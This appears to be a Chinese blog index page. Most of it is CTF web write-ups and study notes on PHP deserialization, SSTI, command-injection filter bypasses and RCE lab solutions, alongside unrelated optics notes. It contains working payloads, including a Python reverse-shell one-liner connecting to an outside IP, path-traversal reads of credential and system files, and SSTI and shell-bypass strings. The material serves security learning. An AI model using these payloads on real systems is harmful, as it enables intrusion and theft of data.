0%

关于我用gemini的一些心得体会

​ 最近刚刚白嫖了Gemini的15个月学生会员,于是开始用这个号称目前top1的大模型,并且在使用过程中,有了一些自己的使用心得。

阅读全文 »

[ACTF2020 新生赛]Include

考点:php伪协议

php://filter/read=convert.base64-encode/resource

image-20250606223858751

[HCTF 2018]WarmUp

考点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

[ACTF2020 新生赛]Exec

考点:命令执行

image-20250606225803602

[GXYCTF2019]Ping Ping Ping

考点:RCE 绕过

2几何光学成像

2.3半球面折射及透镜成像

半球面折射成像

阿贝不变式:
$$
\frac{n’}{s’} - \frac{n}{s} = \frac{n’ - n}{r}
$$
物方像方焦点公式:
$$
f = \frac{nr}{n - n’}\
f’ = \frac{n’r}{n’ - n}\
\frac{f}{f’} = -\frac{n}{n’}
$$

关于我对老师所教的一套符号法则的理解和总结:

  1. 用加号高斯公式时,所有距离全正(几何长度)

  2. 用减号折射/笛卡尔公式时,所有距离按方向带正负号

  3. 焦距符号永远物理推导

透镜成像相关公式

磨镜者公式:
$$

  • f = f’ = \frac{1}{(n_L - 1)\left( \frac{1}{r_1} - \frac{1}{r_2} \right)}
    $$
    透镜成像高斯公式(左为一般形式):
    $$
    \frac{f’}{s’} + \frac{f}{s} = 1 \overset{f = f’}{\Rightarrow} \frac{1}{s’} + \frac{1}{s} = \frac{1}{f}
    $$
    右式用途广泛。

注意:

这两个公式所说的f是整个薄透镜的焦距而不是单个球面。凸透镜为正,凹透镜为负。

透镜成像牛顿公式:

image-20250520013802796
$$
\left{
\begin{aligned}
s &= x + f \
s’ &= x’ + f’
\end{aligned}
\right.
\overset{将这两个式子带入高斯公式得到}{\Rightarrow} xx’ = f^2
$$

主要探讨了物/像分别到焦点的距离x/x’和焦距f的关系。

两类薄透镜作图法(略)

重点讲解:作平行于入射光线的副光轴交焦平面于副焦点,把然后按照常规来做。

凸透镜:

image-20250520021844362

凹透镜:

image-20250520021805220

球面反射

image-20250520023158945
$$
f = \frac{r}{2}
$$
作图与以上一致。

放大率

重点只看两个,线放大率$\beta$ 和轴向放大率$\alpha$

线放大率$\beta$

image-20250520024751488

图中有另外两对相似三角形来表示它,左下,右上。

轴向放大率$\alpha$

2.4逐次成像法

$$
-f_1 = \frac{r_1}{1 - n}\
f_1’ = \frac{nr_1}{n - 1}\
f_2 = \frac{-nr_2}{n - 1}\
-f_2’ = \frac{-r_2}{1 - n}\
f = \frac{f_1f_2}{\Delta} \overset{带入f_1f_2以及\Delta =f_2 - f_1’ + d }{\Rightarrow} f = \frac{f_1f_2}{f_2 - f_1’ + d} \Rightarrow
$$

简单来说,序列化就是将一个对象转换成字符串。字符串包括,属性名,属性值,属性类型和该对象对应的类名。反序列化则相反将字符串重新恢复成对象。反序列化漏洞便是在这中间产生的,构造利用链,根据各种魔术方法进行跳转,从而达到RCE,getshell等不可控的后果。

PHP反序列化

谈到反序列化的时候必然要谈到序列化,下面是在php中,对应的两个重要函数:

序列化函数serialize()

示例:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class User {
public $isAdmin = false;
}

$u = new User();
$u->isAdmin = true;

echo serialize($u);
?>
//结果:
O:4:"User":1:{s:7:"isAdmin";b:1;}
序列化片段 含义说明
O:4:"User" O 表示对象(Object),类名长度为 4,类名是 "User"
:1: 对象有 1 个属性
{...} 花括号中是属性列表
s:7:"isAdmin"; s 表示字符串,长度为 7,字符串内容是 "isAdmin"(属性名)
b:1; b 表示布尔类型,值为 true(1),false 为 0

常见表示

类型 表示符 示例 说明
布尔 b:x; b:1; true/false
整数 i:x; i:42; 数值
浮点 d:x; d:3.14; double
字符串 s:n:"val"; s:5:"hello"; 长度为 n 的字符串
数组 a:n:{...} a:2:{i:0;s:3:"abc";i:1;i:123;} n 个键值对
对象 O:n:"class":p:{...} O:4:"User":1:{s:3:"id";i:1;} 类名长度为 n,p 为属性数
NULL N; N; 空值

__sleep() 是 PHP 的一个魔术方法,会在对象被 serialize() 时自动调用,主要用于控制哪些属性被序列化。

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep()方法会先被调用,然后才执行序列化操作,即**__sleep()可以决定序列化的内容。**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class User {
public $username = "guest";
public $isAdmin = false;

public function __sleep() {
return ["username"]; // 仅序列化 username
}
}

$user = new User();
$user->isAdmin = true;
echo serialize($user);

?>

//结果:
O:4:"User":1:{s:8:"username";s:5:"guest";}


可以看到只序列化了$username,而没有$isAdmin

反序列化函数unserialize()

与序列化函数类似,unserialize()会检查类中是否存在一个__wakeup魔术方法,如果存在则会先调用__wakeup()方法,再进行序列化。

小trick当序列化字符串表示对象属性个数的数字值大于真实类中属性的个数时就会跳过__wakeup的执行

访问控制修饰符

1
2
3
public(公有) 
protected(受保护) // %00*%00属性名
private(私有的) // %00类名%00属性名

protected属性被序列化的时候属性值会变成%00\*%00属性名,private属性被序列化的时候属性值会变成%00类名%00属性名%00空字符长度为 1。

各自权限:

  • public(公有): 公有的类成员可以在任何地方被访问。
  • protected(受保护): 受保护的类成员则可以被其自身以及其子类和父类访问。(可继承)
  • private(私有): 私有的类成员则只能被其定义所在的类访问。(不可继承)

php常见魔术方法

和普通函数不同的是,它会在某些条件下导致函数自动被触发执行,类似于可以跳转。而这就是一般用于构造利用链的核心。

image-20250508161457351

字符串逃逸

通常是会有一个替换函数,把数据中的字符串替换为另一个更长或者更短的字符串。由此分类为减少逃逸和增多逃逸,关于这两个概念容我在此给出我学完之后的理解:

减少实际上是把序列化后的字符串中属性相关的部分塞进了前面的双引号里面,变成了没有特殊意义的字符串。而增多刚好相反。

下面根据两道例题来给出具体的解释:

字符串增多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user = $user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
//echo $param;
$profile=unserialize(filter($param));
//var_dump($profile);
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}

?>

我们的目的是将pass变量改为escaping才能获得flag,但是整个流程下来,并没有对其进行更改。

我们能够看到它会将php替换为hack,从而达到字符串的增多,而这个增多可以怎么利用呢?

1
O:4:"test":2:{s:4:"user";s:3:"php";s:4:"pass";s:8:"daydream";}

->

1
O:4:"test":2:{s:4:"user";s:3:"hack";s:4:"pass";s:8:"daydream";}

这样是不能被成功反序列化,因为实际字符串长度与前面不符合。每次替换均会将整个字符串增长1,这样便会有1个字符串逃逸出来。如果我们在最后面构造一个我们想构造的属性,进而逃逸出去的话,便会实现我们的目的。

现在数一数我们需要的构造的属性";s:4:"pass";s:8:"daydream";},共29个字符。只需要29个php即可“顶出去”。

1
O:4:"test":2:{s:4:"user";s:87:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

我们把phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}作为参数传递过去,这样前面的计数会是这个字符串116,刚好符合替换完之后flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag的长度,而在;}处结束,从而忽略后面的内容。

–>

1
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:4:"pass";s:8:"escaping";}

字符串减少

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
function filter($str){
return str_replace("xx","y",$str);
}

$username = "mikasa";
$password = "biubiu";
$user = array($username,$password);

//$str1 = filter(serialize($user));
$str2 = filter(serialize($_GET['user']));
echo $str2;
echo " ";
//var_dump(unserialize($str1));
var_dump(unserialize($str2));
?>

刚开始传参如下:

1
http://localhost:3000/?user[]=mikasa&user[]=biubiu

结果:

1
a:2:{i:0;s:6:"mikasa";i:1;s:6:"biubiu";}   array(2) { [0]=> string(6) "mikasa" [1]=> string(6) "biubiu" }

目标是将username改为123456,本题会将xx替换为y从而导致字符串减少,同样的逻辑,减少会把一些字符串吃进去,从而在数组的第二个索引处把password改为123456。

分析

仔细分析序列化字符串,";i:1;s:6:共10个字符,但我们预计第二个字符串后面长度会到两位数,所以应该算是11个,将第一个参数写成22个x,结果如下:

1
a:2:{i:0;s:24:"yyyyyyyyyyy";i:1;s:6:"biubiu";} bool(false)

目前可以看作已经吃掉后面一大坨了,这下就可以自由在字符串二中构造我们想要替换的属性了,;i:1;s:6:"123456";}

a:2:{i:0;s:22:"yyyyyyyyyyy";i:1;s:19:";i:1;s:6:"123456";}";}

image-20250508161004255

session反序列化

漏洞产生原因:写入格式和读取格式不一致。

主要处理方式有以下三种:

image-20250508162445536

例题

php_serialize写,php方式读。

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
highlight_file(__FILE__);
error_reporting(0);

ini_set('session.serialize_handler','php');
session_start();

class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>

思路:

写的时候加上竖线后面写构造的poc,在读的时候就会把竖线前面的当作键,后面的进行反序列化。

image-20250508163737230

最终通过eval函数成功命令执行。

phar反序列化

类似于java的jar,phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容

该漏洞利用条件

  1. phar文件能够上传至服务器
  2. 要有可利用的魔术方法
  3. 文件操作函数的参数可控,且:、/phar等特殊字符没有被过滤

img

一般的利用方式是配合上面这些函数和phar伪协议,从而不依赖unserialize()进行反序列化的操作。

生成文件:(需要php > 5.2 并将php.ini中的phar.readonly设置为Off)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
show_source(__FILE__);
header('Content-Type: text/html; charset=gbk');
class Flag{
public $code='eval($_POST["a"]);';
}
$a=new Flag();
echo urlencode(serialize($a));

$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>

Phar文件有四个部分,stub / manifest被压缩的文件的属性,是以序列化存储的,是主要的攻击点 / contents文件内容 / signature签名。

stub的格式为xxx<?php xxx; __HALT_COMPILER();?>

manifest中的meta-data部分有着序列化的内容,在执行时会被反序列化解析。

image-20250510153018522

Python反序列化

Python中也有饭序列化,也是通过两个重要的函数进行实现。

pickle.dumps()pickle.loads()

1
2
3
4
5
6
7
8
9
>>> import pickle                                                                 
>>> text = 'helloworld'
>>> sertext = pickle.dumps(text)
>>> print(sertext)
b'\x80\x04\x95\x0e\x00\x00\x00\x00\x00\x00\x00\x8c\nhelloworld\x94.'
>>> reltext = pickle.loads(sertext)
>>> print(reltext)
helloworld
>>>

(不会,待续)

参考:

PHP反序列化漏洞学习_哔哩哔哩_bilibili

CS50 Flask

Flask是一个python的后端微型框架,用来方便快捷的生成前端界面。而目前我需要学习FaskAPI,由于和Flask类似,所以我打算先来回顾一遍这一课。

阅读全文 »

ACTF upload

admin不能直接爆破好像,全都是500报错。先随便注册一个账号登进去

上传文件界面会发现看不到只有一个img标签,且是data数据,base64加密的图片数据。

image-20250426161848598

尝试直接在file_path参数后面拼接路径读取文件,../../etc/passwd有回显。

把显示出来的数据拿去解密下载下来即可得到数据:
image-20250426162057409

,尝试读取/proc/self/environ看看有没有直接的flag(,发现灭有 /proc/self/cmdline中显示当前有进程:python /app/app.py 于是得到源码app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session

app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')

@app.route('/')
def index():
if session.get('username'):
return redirect(url_for('upload'))
else:
return redirect(url_for('login'))

@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin':
if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
session['username'] = username
return redirect(url_for('index'))
else:
flash('Invalid password')
else:
session['username'] = username
return redirect(url_for('index'))
else:
return '''
<h1>Login</h1>
<h2>No need to register.</h2>
<form action="/login" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<br>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<br>
<input type="submit" value="Login">
</form>
'''

@app.route('/upload', methods=['POST', 'GET'])
def upload():
if not session.get('username'):
return redirect(url_for('login'))

if request.method == 'POST':
f = request.files['file']
file_path = str(uuid.uuid4()) + '_' + f.filename
f.save('./uploads/' + file_path)
return redirect(f'/upload?file_path={file_path}')

else:
if not request.args.get('file_path'):
return '''
<h1>Upload Image</h1>

<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
'''

else:
file_path = './uploads/' + request.args.get('file_path')
if session.get('username') != 'admin':
with open(file_path, 'rb') as f:
content = f.read()
b64 = base64.b64encode(content)
return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
else:
os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
# with open(f'/tmp/{file_path}.b64', 'r') as f:
# return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
return 'Sorry, but you are not allowed to view this image.'

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

发现需要admin权限之后会有一个无回显的命令拼接执行,把哈希值拿去在线网站解密如下:

image-20250426161323268

得到admin账户的密码,登录admin账户之后就发现确实是无回显,这里我尝试了好几次反弹shell,好像是环境的问题,后面才成功终于反弹成功。

这里贴一下总结反弹shell命令的文章:

反弹shell汇总,看我一篇就够了-CSDN博客

1
http://223.112.5.141:55140/upload?file_path=111;python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('156.226.172.136',9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);";

拿到flag。

image-20250426161215818

eznote

描述

your favorite frontend challenge

附件:b5

Excellent-Site

描述

My site is PERFECT!!!
hosts: 0.0.0.0 ezmail.org

附件:5a

SSTI

模板引擎

SSTI 就是服务器端模板注入(Server-Side Template Injection)

Web开发中,模板引擎是为了使得用户界面和业务逻辑处理分离所产生。而SSTI的成因则是因为服务端没有对用户的输入做很好的处理而产生。

我们最常见到的模板语言便是jinja2,它是Flask框架一部分。它能够用于替换变量,将动态数据渲染到静态 HTML 页面。格式如下:

1
2
3
4
5
6
7
变量:
{{username}}
控制语句:
{% for comment in comments %}
<li>{{comment}}</li>
{% endfor %}

通常在flask渲染html之前会有一个本地的html界面来作为模板,位于app.py同目录下的templates之下,

这里给出示例:

1
2
3
4
5
6
7
8
<html>
<head>
<title>SSTI</title>
</head>
<body>
<h3>Hello, {{name}}</h3>
</body>
</html>

其中hello是静态的,而被{{}}包裹的name则可以被动态的替换,而执行这一替换逻辑就是app.py的任务。

我们给出以下示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask, request, render_template

app = Flask(__name__) #__name__是一种属性一样的东西,通常指向该文件的文件名__main__,如果是外部调用得到则有可能是app

@app.route('/',methods=['GET'])
#设置路由,get方式获取传递的参数
def hello_world():
query = request.args.get('name') # GET取参数name的值
return render_template('test.html', name=query) #将name的值传入模板,进行渲染

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
#让操作系统监听所有公网 IP,此时便可以在公网上看到自己的web,同时开启debug,方便调试。开启debug后直接刷新页面就可以看到更改的界面

除了用query = request.args.get(‘name’)来获取参数传递,也可以通过 URL 路径参数 (/<name>) 获取。,该方法支持参数类型的限制,例如 <int:id>

模板注入

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是

通常有很多各个语言的常见框架,不同模板则有着不同的语法,总结如下:

附表

img

img

上图为判断模板的方法,绿色线表示执行了,红线则表示没有。

以mako模板的靶场为例:

先输入${7*7},回显为49,于是再输入a{*comment*}b,

image-20250511200647083

未执行,于是再使用${"z".join("ab")}

image-20250511200746361

成功执行,现在我们便判断出了模板类型为Mako。

魔术方法

一般就是靠继承链先得到父类再看其中有没有什么可以利用的恶意方法函数之类的能够导致命令执行,从而拿到flag。以下是一些魔术方法,我们用他们来构造继承链:

  • __class__

class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>

  • __bases__

以元组的形式返回一个类所直接继承的类。

  • __base__

以字符串返回一个类所直接继承的类。

  • __mro__

返回解析方法调用的顺序。

  • __subclasses__()

获取类的所有子类。

  • __init__

所有自带带类都包含init方法,便于利用他当跳板来调用globals

  • __globals__

function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。

利用

1
"".__class__.__mro__[1].__subclasses__().__init__.__globals__

这是一套构造的利用链,可以看到object类的所有子类,然后利用.__init__.__globals__来找到有没有os module或者其他的可以读写文件的。可以用python脚本进行爆破。

SSTI绕过

[]绕过

__getitem__(2)或者.pop(2)来绕过,假如.也被绕过

.绕过

1
"".__class__等价于""["__class__"]

“”绕过

一般是用于索引或者路径,可以用request.args来进行绕过,把其当作变量来填充即可。

_绕过

也同样可以用request.args,或者request.form两个传参来绕过(对应GET和POST)

示例:

1
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=____class____&mro=____mro____&subclasses=____subclasses____

关键字饶过

字符串拼接

可用加号拆分,使用中括号的payload:

1
{{""["__cla"+"ss__"]}}

不使用中括号的payload:

1
{{"".__getattribute__("__cla"+"ss__")}}

Base64绕过

1
{{[].____getattribute____('X19jbGFzc19f'.decode('base64')).____base____.____subclasses____()[40]("/etc/passwd").read()}}

自动化绕过工具

当然现在有很多自动化工具,比如可以看看:

https://github.com/Marven11/Fenjing

1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园

Flask SSTI靶场记录 - lca

初探 Python Flask+Jinja2 SSTI - Zh1z3ven - 博客园

RCE

RCE基础豆知识

**RCE(Remote code execution 代码执行&命令执行)**,分为命令执行和代码执行。

1
2
3
代码执行:eval("include('flag.php');echo 'This will get the flag by eval PHP code: '.\$flag;");

命令执行:system("echo 'This will get the flag by Linux bash command - cat /flag: ';cat /flag");

PHP代码执行函数

函数 说明 示例代码
${} 用于复杂的变量解析,通常在字符串内用来解析变量或表达式。可以配合 eval 或其他动态执行代码的功能,用于间接执行代码。 eval('${flag}');
eval() 用于执行一个字符串作为 PHP 代码。可以执行任何有效的 PHP 代码片段。没有返回值,除非在执行的代码中明确返回。 eval('echo $flag;');
assert() 测试表达式是否为真。PHP 8.0.0 之前,如果 assertion 是字符串,将解释为 PHP 代码并通过 eval() 执行。 PHP 8.0.0 后移除该功能。 assert(print_r($flag));
call_user_func() 用于调用回调函数,可以传递多个参数给回调函数,返回回调函数的返回值。适用于动态函数调用。 call_user_func('print_r', $flag);
create_function() 创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引用。 自 PHP 7.2.0 起被*废弃*,并自 PHP 8.0.0 起被*移除*。 create_function('$a', 'echo $flag;')($a);
array_map() 将回调函数应用于数组的每个元素,返回一个新数组。适用于转换或处理数组元素。 array_map(print_r($flag), $a);
call_user_func_array() 调用回调函数,并将参数作为数组传递。适用于动态参数数量的函数调用。 call_user_func_array(print_r($flag), array());
usort() 对数组进行自定义排序,接受数组和比较函数作为参数。适用于根据用户定义的规则排序数组元素。 usort($a,print_r($flag));
array_filter() 过滤数组元素,如果提供回调函数,仅包含回调返回真值的元素;否则,移除所有等同于false的元素。适用于基于条件移除数组中的元素。 array_filter($a,print_r($flag));
array_reduce() 迭代一个数组,通过回调函数将数组的元素逐一减少到单一值。接受数组、回调函数和可选的初始值。 array_reduce($a,print_r($flag));
preg_replace() 执行正则表达式的搜索和替换。可以是单个字符串或数组。适用于基于模式匹配修改文本内容。 依赖 /e 模式,该模式自 PHP7.3 起被取消。 preg_replace('/(.*)/ei', 'strtolower("\\1")', ${print_r($flag)});
ob_start() ob_start — 打开输出控制缓冲,可选回调函数作为参数来处理缓冲区内容。 ob_start(print_r($flag));

绕过技巧

参数逃逸

示例:

1
2
3
4
5
6
7
<?php 
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |/i",$c)) //这里还过滤的.和空格
{
eval($c);
}
?>

如果这些写c参数:url?c=eval($_GET['a']);,则会绕过限制。

空格绕过

绕过方式 示例 说明
%09 ls%09/etc 是TAB制表符的URL编码
$IFS ls$IFS/etc $IFS 是 Bash 中的内部字段分隔符,默认值是空格。
\t ls\t/etc Tab 字符,有时可用 %09(URL编码)或直接注入制表符。
${IFS} ls${IFS}/etc 明确写法,防止 $IFSabc 被误解。
%20 ls%20/etc URL 编码的空格,常见于Web请求中。
"$@" "ls$@/etc" $@ 代表所有参数,某些情况下解析成空格。
${PATH:0:1} ls${PATH:0:1}/etc 从环境变量中提取空格字符(原理复杂,略不常用)。
{ , } {cat,flag.php} 用逗号实现了空格功能

通配符绕过

1
2
3
4
5
cat /passwd:

??? /e??/?a????

cat /e*/pa*

管道符绕过

windows

  1. |:直接执行后面语句
  2. ||:前面执行失败,则执行后面
  3. &:两个都执行,如果前面的命令为假,则直接执行后面
  4. &&如果前面的语句为假则直接出错,也不执行后面,前面为真,则都执行。

Linux

  1. |:显示后面语句的结果
  2. ||:当前面直接出错,执行后面的语句
  3. &:两个都执行,同win
  4. &&:前面出错,则不执行后面,两个都为true才都执行,前面只能为true。
  5. `:在将括号内的命令处理完毕之后,会将返回的信息传给bash,再次执行。
  6. ;:执行完前面执行后面。

变量拼接绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
a=fl;b=ag

system(cat '$a.$b.php');


(sy.(st).em)(whoami);//

c''a''t /etc/passwd//单引

c""a""t /etc/passwd//双引

c``a``t /etc/passwd/反单引

c\a\t /etc/passwd//反斜线

cat的代替

1
2
3
4
5
6
7
8
9
10
11
12
13
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:显示文件类型信息,若出错会报告具体内容
tailf:类似于 tail -f,实时显示文件尾部内容

Base64编码绕过

1
2
3
4
5
6
7
echo 'ls' | base64
->bHMK
echo 'bHMK' | base64 -d
-> flag.ph test.php ......

//利用
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

linux特殊变量绕过

变量 含义 示例输出
${#} 传递给脚本或函数的参数个数 0(参数为空时)
${?} 上一个命令的退出状态 0(正常退出)或 1(异常退出)
${_} 上一个命令的最后一个参数 上一个命令的最后一个参数值
${0} 当前脚本或 shell 的名字 bash 或脚本名
${1} 到 ${9} 传递给脚本或函数的第 1 到第 9 个参数 第 1 到第 9 个参数值
${@} 传递给脚本或函数的所有参数(以列表形式) 所有参数值
${*} 传递给脚本或函数的所有参数(以字符串形式) 所有参数作为单个字符串
${$} 当前 shell 的进程 ID (PID) 进程 ID 值
${!} 上一个后台运行的进程的进程 ID (PID) 后台进程的 PID
${-} 当前 shell 的选项标志 hB(表示 shell 选项标志)

$PATH

主要是截取环境变量中的字幕来拼接命令

1
2
3
4
5
6
7
8
echo $PATH
/opt/jdk-21/bin //假如是这样的
echo ${PATH:2:1}
->p
echo ${PATH:3:1}
->t
echo ${PATH:3:2}
->t/

**如果没有特定字母?**这个时候我们可以自己取构造一个PATH。

1
export PATH=$PATH:/abcdefghijklmn/opq/rst/uvw/xyz/0123456789

RCE-labs打靶

RCE-labs-level4 SHELL 运算符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - SHELL 运算符 ---

https://www.runoob.com/linux/linux-shell-basic-operators.html

SHELL 运算符 可以用于控制命令的执行流程,使得你能够根据条件执行不同的命令。

&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例: mkdir test && cd test

||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例: cd nonexistent_directory || echo "Directory not found"

&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例: sleep 10 & echo "This will run immediately."

;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例: echo "Hello" ; echo "World"


try GET:
?ip=8.8.8.8
flag is /flag
*/

function hello_server($ip){
system("ping -c 1 $ip");
}

isset($_GET['ip']) ? hello_server($_GET['ip']) : null;

highlight_file(__FILE__);


?>

直接拼接命令就可以了,/?ip=127.0.0.1| cat /flag

RCE-labs-level5 终端特性_空字符忽略和通配符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 终端特性_空字符忽略和通配符 ---

在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。

*(星号): 匹配零个或多个字符。例子: *.txt。
?(问号): 匹配单个字符。例子: file?.txt。
[](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。
[^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。
{}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。

通过组合上述技巧,我们可以用于绕过CTF中一些简单的过滤:

system("c''at /e't'c/pass?d");
system("/???/?at /e't'c/pass?d");
system("/???/?at /e't'c/*ss*");
...


*/

function hello_shell($cmd){
if(preg_match("/flag/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

waf了flag关键字,用通配符绕过,或者反斜杠转义绕过。

/?cmd=cat /f???

/?cmd=cat /fla\g

RCE-labs-level6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 挑战关 ---

刚才,学了什么来着!?

*/

function hello_shell($cmd){
if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

这关给的很很巧妙,我刚开始没仔细看,以为是吧数字字母全部waf掉了,结果四也想不到怎么构造,结果一看wp,发现还有a以及数字没有被过滤。

于是就可以构造以下命令:

/???/?a??64 /??a? ->/bin/base64 /flag

/???/?a? /??a? -> /bin/cat /flag

RCE-labs-level7 空格绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Geesec{e2f4a676-8e5d-4b6c-b57b-d1dd6959cd83} <?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
